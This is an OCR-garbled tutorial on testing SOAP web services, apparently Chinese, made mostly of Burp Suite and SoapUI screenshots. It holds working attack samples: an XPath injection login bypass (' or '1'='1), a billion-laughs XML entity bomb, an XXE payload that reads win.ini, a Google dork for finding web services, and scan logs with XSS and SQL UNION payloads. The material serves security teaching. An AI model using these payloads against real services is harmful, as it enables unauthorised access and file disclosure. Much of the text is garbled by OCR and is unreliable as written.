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</wsdl :operation>
<fwedl tbinding>
¥ <wsdl :service name="Service”>
¥ <wadl ;port name="ServiceSoap” bindins="tnsz:ServiceSoap”
{gpap:address location="http /777 77 70 07 00T feprwice. asme S
<fwsdl tport>
¥ <wadl iport name="ServiceSoapl?” binding="tns:ServiceSoapl?”
<goaplZ:address location="http:,. ... ._... 7 '"N81/service. asmx” />
<fwedl iport>
¥ <wadl ;port name="ServiceHttpPost” bindins="tnsz:5erviceHttpPost”>
<httpraddress location="http: "’ 18081/ service. asmx” />
<fwsdl iport>
<fwsdl :servicer
<fwedl :definitions>
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Service: FHKuGHMES, AFEHKEMED . #E. HE%,

Binding: € Ui I 2 7Y 1 JHL A Bl iS00 Hic 4 s Ve
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J Site map T Scope I Issue definitions

Filter: Showing all items

@ Filterl by request type . Filter by MIME type
@ (] Show only in-scope items ] HTML [+] Other text
(] Show only requested items (] Script [/] Images
] Show only parameterized requests ) xnL [f] Flash
[] Hide not-found items W css [¥] Other binary
I_:ilter by search term ) Filter by file extension

Filter by status code Folders

(] 2xx [success] [] Hide empty folders
(] 3xx [redirection]
] 4xx [request eror]

(] Bxx [server error]

Filter by annotation

“ (] Show only: | asp,aspx jsp.php
] Regex

[ ] Show only commented items

Hide: j=.0if.jpg.png.
(/] Case sensitive (] Megative search i 15.914Pg.pNg.C53

| Show all || Hide all || Revert changes |

2.{#MGooglelEiA.

inurl:(_vti_bin | api | webservice | ws )

[_] Show only highlighted items
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5 EJE (XML External Entity File Disclosure)
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XPathiEA
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FAEFENFIF XPath #if]

Stmt = "//users/user[username/text()= + username+ and password/text()="'" + password + "']/id/text()";

Hrh username #] password EiBid SOAP BEHIT(EH, AT



f&i# XPath EilIZHH) SOAP JH.E v
<soap:Envelope xmlns:soap="">
<soap:Body>
<fn:PerformFunction xmlns:fn="">
<fn:uid>testuser</fn:uid>
<fn:password>testpassword</fn:password>
</fn:PerformFunction>
</soap:Body>

</soap:Envelope>

BRANZEZERIF SOAP {E N username="admin", password=""or '1'="1", LAt XPath Ei@FZ

BEIEANR XPath #ij1Stmt="//users/user[username/text()="admin' and password/text()='"' or '1'='1']/id/text()";
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<IDOCTYPE root [
<IENTITY ha "Ha !">
<IENTITY ha2 "&ha; &ha;">
<IENTITY ha3 "&ha2; &ha2;">

<IENTITY hal27 "&hal26; &hal26;">
<IENTITY hal28 "&hal27; &hal27;">

1>

[ERittR

Hib Web [RBSIREIEFimIEENRREEN, NRESSBHGTEAS, NoggFEEaitRiaE. FENEEAZEML HelloWorld 89617, RIZFFE Web [RBSESH
FEREE"Jeremy”, REIRE]"Hello, Jeremy!”, {8, MIREBEENNTSE:
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<IDOCTYPE root [
<VENTITY myfile SYSTEM "file://c:/windows/win.ini">

1>

<name>&myfile;</name>
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WebScarap
SoapUI
WCFStorm
SOA Cleaner
WSDigger
wsScanner
Wfuzz
RESTClient
BurpSuite
WS-Attacker
ZAP
Metasploit
WSDL Analyze
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< SoapUl Pro 5.1.2 (Trial License, soapUl Pro, SmartBear Software)

m Tools Desktop Try Help

Mew Project Ctrl-N
Mew SOAP Project Ctrl+Shift-N
Mew REST Project Ctrl+Alt-N
Import Project Ctrl-|

Import Packed Project
Import Remote Project

Save All Projects Ctrl+Alt-5

Close All Open Projects

€3 Plugin Manager Ctrl+Alt-X
Rename Workspace F2
Mew Workspace

Switch Workspace

Save Preferences | |

Import Preffer'J Sets global SoapUl preferences |

Recent ]
Exit Ctrl-Q
Exit without saving Ctrl+Shift-0

HF e ComMon_lracking
‘ . B Get ALLData
. B2 Get Pda Sal
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Uesktop Ity Help ]
! %Io SoapUl Preferences

Set global SoapUl settings

SIE ST Proxy Setting: () Automatic
[ IO . Proxy Settings | o
o du.en SSL Se'llir:gs (®) Manual
. g.asm] il L Host: [127.0.01
i . Port: |aoso
e Editor Settings
0 Tools Excludes: |
F o =du.cn WS-| Settings
:. E‘:. smx] Global Properties Username: | |
que: Global Security Settings Password: I ‘
WS-A Settings
Global Sensitive Information Tokens
We N Version Update Settings
M| : SoapUl Pro
.:I. 3 Coverage Settings
st Code Templates.
- dngL JDBC Drivers Properties
Request 1 Debug Context Filter
mnelinfo
ai-
-
o ._sub
3 CamMan Trackina
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SoapUl Pro 5.1.2 (Trial License, soapUl Pro, Sn

JTools Desktop Try Help

1as x. [+] Search Forum
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B REST Pru
=5 ¢ du.cn
smx]
T Ho.as
% Re
& T Project 2
https://passp edu.cn
Q@ Hg.asmx | smud < New SOAP Project X
N i
= New SOAP Project @
g' Creates a WSDL/SOAP based Project in this workspace
I
8 N Project Name: | apiwebservice|
E € "
E Initial WSDL: g :efspiwehsenlice.asmx?wsd|| |Brwse...]
=] New ——

Create Requests: ¢ Creawe sample requests for all operations?

Create TestSuite: [¥] Creates a TestSuite for the imported WSDL

Relative Paths:

[¥] Stores all file paths in project relatively to project file (requires save)

SR, SoapUIXStaERIWSDLiEIEH THENT, LABIFEWeb Service REIRIERK



+* SoapUl Pro 5.1.2 (Trial License, soapUl Pro, SmartBear Software)
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B I APWebSericesoap
-3 AddCustomerhlew
w3 AddCustamen Newto
|- i Requestl
F 7 BindTrackingDetai
# -3 Channclinfa
-2 Charnellnfo id

& Channelinfo_sub

% ComMon_Tracking

-3 Gt ALLDwta

F Get Pda Sal

7 get pinttotal

& get_Track

2 get Warshouss

T GeadSN_MO

@ getling

& gattChanael

F GetChartData

2 Getlode

-3 getCountry

- getdata

¥ getday

& getebaymessage

-3 gatebayOrder

3 getebaySessionld

T 7 getebayTaker

L

Regquest Propertiss

Property Vahe

Hame Aoquest 1
Doseription

Message Size SEF
Encoding

Endpair

| Prooartias |

A T e
Fequest 1 iiiiiiin

PpEREOD W

3 :

|37

Ii | @ AddCustomarNowtwe

Ii,o_ Fhonehumber: (7 8| fusdistring

1% Paword: [z 8/ feecistring

|

[,E tyme: |:~ B [esd:string
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salosmar: [+ 8] [esdictring
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File Tools Desktop Try Help

Search Forum

SEEEREY. -]
' r
=. [ Projects -
15 M
B2
& 123
B 2R R0

Show Interface Viewer Enter

% Add
&2 Bind] Add JNNdpoinl
-3 Chan
@~ % Chan|  Generate
3

1
[a]
E

Check WSI Compl Chel+AlLW

g

Generate Documentation

o ow o

%
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geth Update Definition 5
geil] Refactor Definition
GetCl "

I Getc B Export Definition Ctrl-P
gx Clone Interface =]

- getd: Remove Delete
g

LR TR P R S R R R LR S S

)

etebaymessage
i getebayOrder —
1

Interface Properties

Property | Value |
Name ~aceS,., |&
Description
Definition URL httpiy
Binding {http Mire
SOAP Version SOAI 5

Bl#E1F T Generate TestSuite/5

| properies| [ ScapUtlog | tp g ety log| error log] wsrm log| memery log scrpt og|

» BB EP— P ROKEIE—D

new SecurityTest.



File Tools

Deskiop Try Help

Bans<HO

Search Forum

I.lﬂll.ép\ﬂﬂ ]

e |

2 PintPDF

2 PrintPDF

2 Select SKU_Count
2 SetEbayTrack

R R
03

© SetMagentoTrackingNo

o SubAPl
& UpdatelSPrint
2 webapp
7] APIWeb5ServiceSoap12
= APIWebServiceSoap TestSuite

4
o AddCustomerty

«

Show TestCase Editor Enter

o get_Track Test!
o get Warehouse
o GetASN_NO Te
- & getBing TestCa
- & getChannel Te:

Disdple TestCase
Optior Cirl+Shift-0

Clone TestCase ]
Clone TestSteps Alt-FE
Clear

Export

- & GetChartData 1
o GetCode Testd

Launch TestRunner

& getCountry Tes
o getdata TestCa
- getday TestCa:

00 HHEe0senEeeeeene

Rename 2
Remove Delete

TestCase Properties Cu4

Property

Move TestCase Up Cérl-[E i
Move TestCase Down  Ctrl-F TR

Name

BIgn: FKA1%F AddCustomerNew TestCasefZ[iHH{TSecurityTest (Z2iix)

AddCustomerMNew TestCase
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Ele Iools Desktop Ty Help

1laes <8O

Search Forum

LY

PintPDF

PrintPDF

Select SKU_Count

SetEbayTrack

SetMagentoTrackingMo

SubAPl

UpdatelSPrint

+ webapp

@ I APIWebServiceSoap12

L o Lasituits

= o AddCustomerNew TestCase
@ §5 Test Steps (1)

& Load Tests ()

ey

RUR PR VR PR R SR

e

& @ Channelinfo TestCase

© Channelinfo_jd TestCase
 Channelinfo_sub TestCase
¥ ComMon_Tracking TestCase
© Get ALLData TestCase

o Get_Pda_Sgl TestCase

o get_pinttotal TestCase

o get Track TestCase

o get Warehouse TestCase
o GetASN_MO TestCase

o getBing TestCase

& getChannel TestCase

o GetChartData TestCase

[

e

Empty ZSiUid

Automatic BIAZ LML, XNLZiAXIwebservice EONNE soapuithIFFE Mgk,

Full Control ATLAB{T1EEN

o soaplll Pro &

file Icols Desktop Ty Help

alARER

rasx B0

Search Forum

L]

2 PintPDF
‘2 PrintPDF
2 Select SKU_Count
2 SetbbayTrack
& SetMagentoTrackingMa
2 SubAPi
2 UpdatelSPrint
& webapp
& I APIWebServiceSoap12
= B APIWebServiceSoap TestSuite
= o AddCustomerNew TestCase
= Test Steps (1)
& Load Tests (0)
W Security Tests ()
o AddCustomerNewtwo TestCase
o BindTrackingDetail TestCase
o Channellnfo TestCase
Channelinfo_id TestCase
Channelinfo_sub TestCase
ComMan _Tracking TestCase
Get_ALLData TestCase
Get_Pda_Sql TestCase
get_pintiotal TestCase
get_Track TestCase
o get Warehouse TestCase
GetASN_NO TestCase
getBing TestCase
getChannel TestCase

| Ay

-

Rl R R R R T T
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Create new Security test
Select setup options for the new Security Test

Marme: [securityTest 1

Setup Options ) Empty Test
- no preconfigured security scans
O Automatic

euity sca

Full Control
- select which security scans to skt up|

ns

EC!I:(_G]I l:INen 5




HAkFEEsoapuihEIRLEMELR,

Auto-generate Security Scan

Wizard for generating security tests

1. Security Scans | 2. Parameters r 3. Assertions |/4' Confirm

te Security Scans (@) Add the selected Security Scans to all Test steps
ase () Select Security Scans for each Test step

Test Step |.'~.e-_=:'. TestStep.... -

mnartBear Software)

Select Scans ——ctEEt TR R ——————

[[] Boundary Scan
[[] Cross Site Scripting

I

[] Fuzzing Scan

[ Invalid Types

[ Malfarmed XML

[ Malicious Attachment
[[] SQL Injection

[] XML Bomb

[[] XPath Injection

[Cancel| [ < previous | [Next =] [+t |
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saus B0
g_ & FmPOF

LI P i proerihdupana e Gos e siing -

El
& o BindTrackingDetail TestCase
F- o Chamelinks TestCase
o Chanwelinko id TestCase
@ o Chanmelinfo_sub TestCase:
@ o ComMon Tracking TestCase
& o Get AlLData TestCase

& Get Pda Sql TestCase

& get_pinttotal TestCase
o get Track TestCare
o oot Warshouse TestCase
W

[

E

El

®

E

#

L

[

@

E

o GethSN NO TestCase.
o gealling TestCase

SecwityTest Froperties | Custom Properties | Qxm
L I L = Respanse is missing or ey 4]
[Cross Sie Scripting] Request 4 - FAILED - Password] = <SCRIFT = document write(" <SCRI'l</SCRIPT=PT SRC="hitpysoapul.orgiuss s’ > </SCRIPT= tock 223 ms
-= Respanss i missing or smpty
[Crcus Site Scripting] Request 5 - OK - [ ¥ #="2"s" SRC="h ' iv"» «/SCRIPT >} took 256 me
[Cross Sae Scripting] Request - OK - ity i orgfessjats </SCRIPT]; tock 243 ms.
[Cross Sie Scripting] Request 7 - OK - i. js"r </SCRIPT =} took 1272 ms.
[Crois Sie Seripting] Request 8 - OK - d1 j&" = < /SCRIPT » | 1ok 240 ms
e ol

ok FAEEFT .



Search Faru @0

= 1 Expanded  Collapsed
- i Getinformation [8 scars) | N s ]
® Boundary Scan SKIPPED

B s I
Mssnaes [ o
e e
i L
£, Malicious Attachment SKIPPED

D [
e A
G I =

rerties
V| axe
= arron Unexpected element: COATA -
-= Unexpected elernent: COATA
[®Path Injection] Request 40 - FAILED - [AuthTypestestll UNION select 1, @@version, 1, 1.0k took 1358 ms.

-» error: Unexpected slement: COATA
-5 Unexpected slement: CDATA
SecurityTest failed [Cancelling due to failed security scan], ime taken = 1135850 v
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Burp Progct e _Mar Wndow Halp
| Dashboand | Target | Prosy | itrucer | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options |
| weercept | HITTR history | webSockets hstory | Options |

Fiker: Hiding CSS, image and general inary contant

# & Host Mathod | URL | Params | Edited | Stabus | Length | MIME 1. | Extengion | Title | Commant s |1 = Tims Listenss port
2 mp 172400 POST  sanice v a0 287 oA asme . 1507401 8080
5 el o POST  Ja v 00 BN WA azmx 150831 1. 8080
B b . POST a v 00 EA JSON asew 163433 1. 8080
C POST s v a0 25 WA asm 163448 1. 8080
POST  senice v 00 SEE JSON asew 163448 1. 080
POST  senice < 00 60 JSON asmx 163440 1. 8080
POST s v 400 M5 A asme 16:34:48 1. 8080
POST s v 200 6B JSOM  asmx 163440 1. 8080
P0ST s v W0 EA JSON asm 163545 1. 8080
POST  senice v 00 60 JSOM asmx 163545 1. 8080

ehamas, mis0ap orpsoapemElops” sming:ten="hitp:(ampun g’
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